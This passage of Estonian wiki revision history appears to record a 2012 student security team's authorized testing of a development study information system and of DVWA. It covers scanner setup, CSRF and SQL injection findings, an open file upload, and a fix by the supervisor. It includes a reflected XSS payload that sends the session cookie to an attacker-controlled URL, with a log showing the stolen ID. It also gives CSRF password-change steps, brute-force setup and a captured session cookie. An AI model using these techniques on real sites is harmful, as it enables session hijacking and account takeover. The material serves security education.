[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
====Burp suite====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
====Nessuse algkäivitamine====&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
====Väike upload tegevus, mis võiks olla teisiti====&lt;br /&gt;
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.&lt;br /&gt;
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.&lt;br /&gt;
Proovisime üles laadida: &lt;br /&gt;
&amp;lt;li&amp;gt;filmi&lt;br /&gt;
&amp;lt;li&amp;gt;exe &lt;br /&gt;
&amp;lt;li&amp;gt;jpm faile &lt;br /&gt;
&amp;lt;br&amp;gt;kõik läks läbi ja sai uploadida.&lt;br /&gt;
&amp;lt;br&amp;gt;Sellises kohas võiks olla süsteem tehtud &amp;lt;b&amp;gt;whitelisti&amp;lt;/b&amp;gt; põhimõttel,&lt;br /&gt;
&amp;lt;br&amp;gt;et lubatud oleks ainult: &lt;br /&gt;
&amp;lt;li&amp;gt;.doc &lt;br /&gt;
&amp;lt;li&amp;gt;.docx &lt;br /&gt;
&amp;lt;li&amp;gt;.pdf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.&lt;br /&gt;
&lt;br /&gt;
Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
:Alo Konno A21&lt;br /&gt;
:Urmo Lihten A21&lt;br /&gt;
:Taavi Podžuks A22&lt;br /&gt;
:Matis Alliksoo A22&lt;br /&gt;
:Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Täname oma juhendajaid:&lt;br /&gt;
:Mart Mangus&lt;br /&gt;
:Margus Ernits&lt;br /&gt;
:Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47075</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47075"/>
		<updated>2012-03-30T21:06:40Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Fireforce plugin Firefoxis */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
::A1: Injection - Urmo&lt;br /&gt;
::A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
::A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
::A4: Insecure Direct Object References - Alo&lt;br /&gt;
::A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
::A6: Security Misconfiguration - Matis&lt;br /&gt;
::A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
::A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
::A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
::A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A9.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A5.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Security Misconfiguration.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
:1.1	Tutvuda OWASP’iga. &lt;br /&gt;
:1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
:1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
:2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
:2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
:2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
:2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
:3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
:3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
:4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
:5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
==== Acunetix Web Vulnerability Scanner v. 8 automaatskännimise tööriistaga tutvumine ====&lt;br /&gt;
 http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
 http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
 http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
 http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
 http://www.isecom.org/research.html&lt;br /&gt;
 http://evuln.com/tools/&lt;br /&gt;
 http://sectools.org/tag/web-scanners/&lt;br /&gt;
 http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
 http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmise põhjalikkusega skänni.&lt;br /&gt;
&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
:Cross-Site Scripting (XSS)&lt;br /&gt;
:SQL Injection (blind test)&lt;br /&gt;
:File inclusion&lt;br /&gt;
:Code Execution&lt;br /&gt;
:LDAP Injection&lt;br /&gt;
:Cross Frame Scripting&lt;br /&gt;
:SQL Injection (error msg. test)&lt;br /&gt;
:CRLF Injection&lt;br /&gt;
:Directory Travelsal&lt;br /&gt;
:XPath Injection&lt;br /&gt;
:URL Redirection&lt;br /&gt;
:Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
&lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
&lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
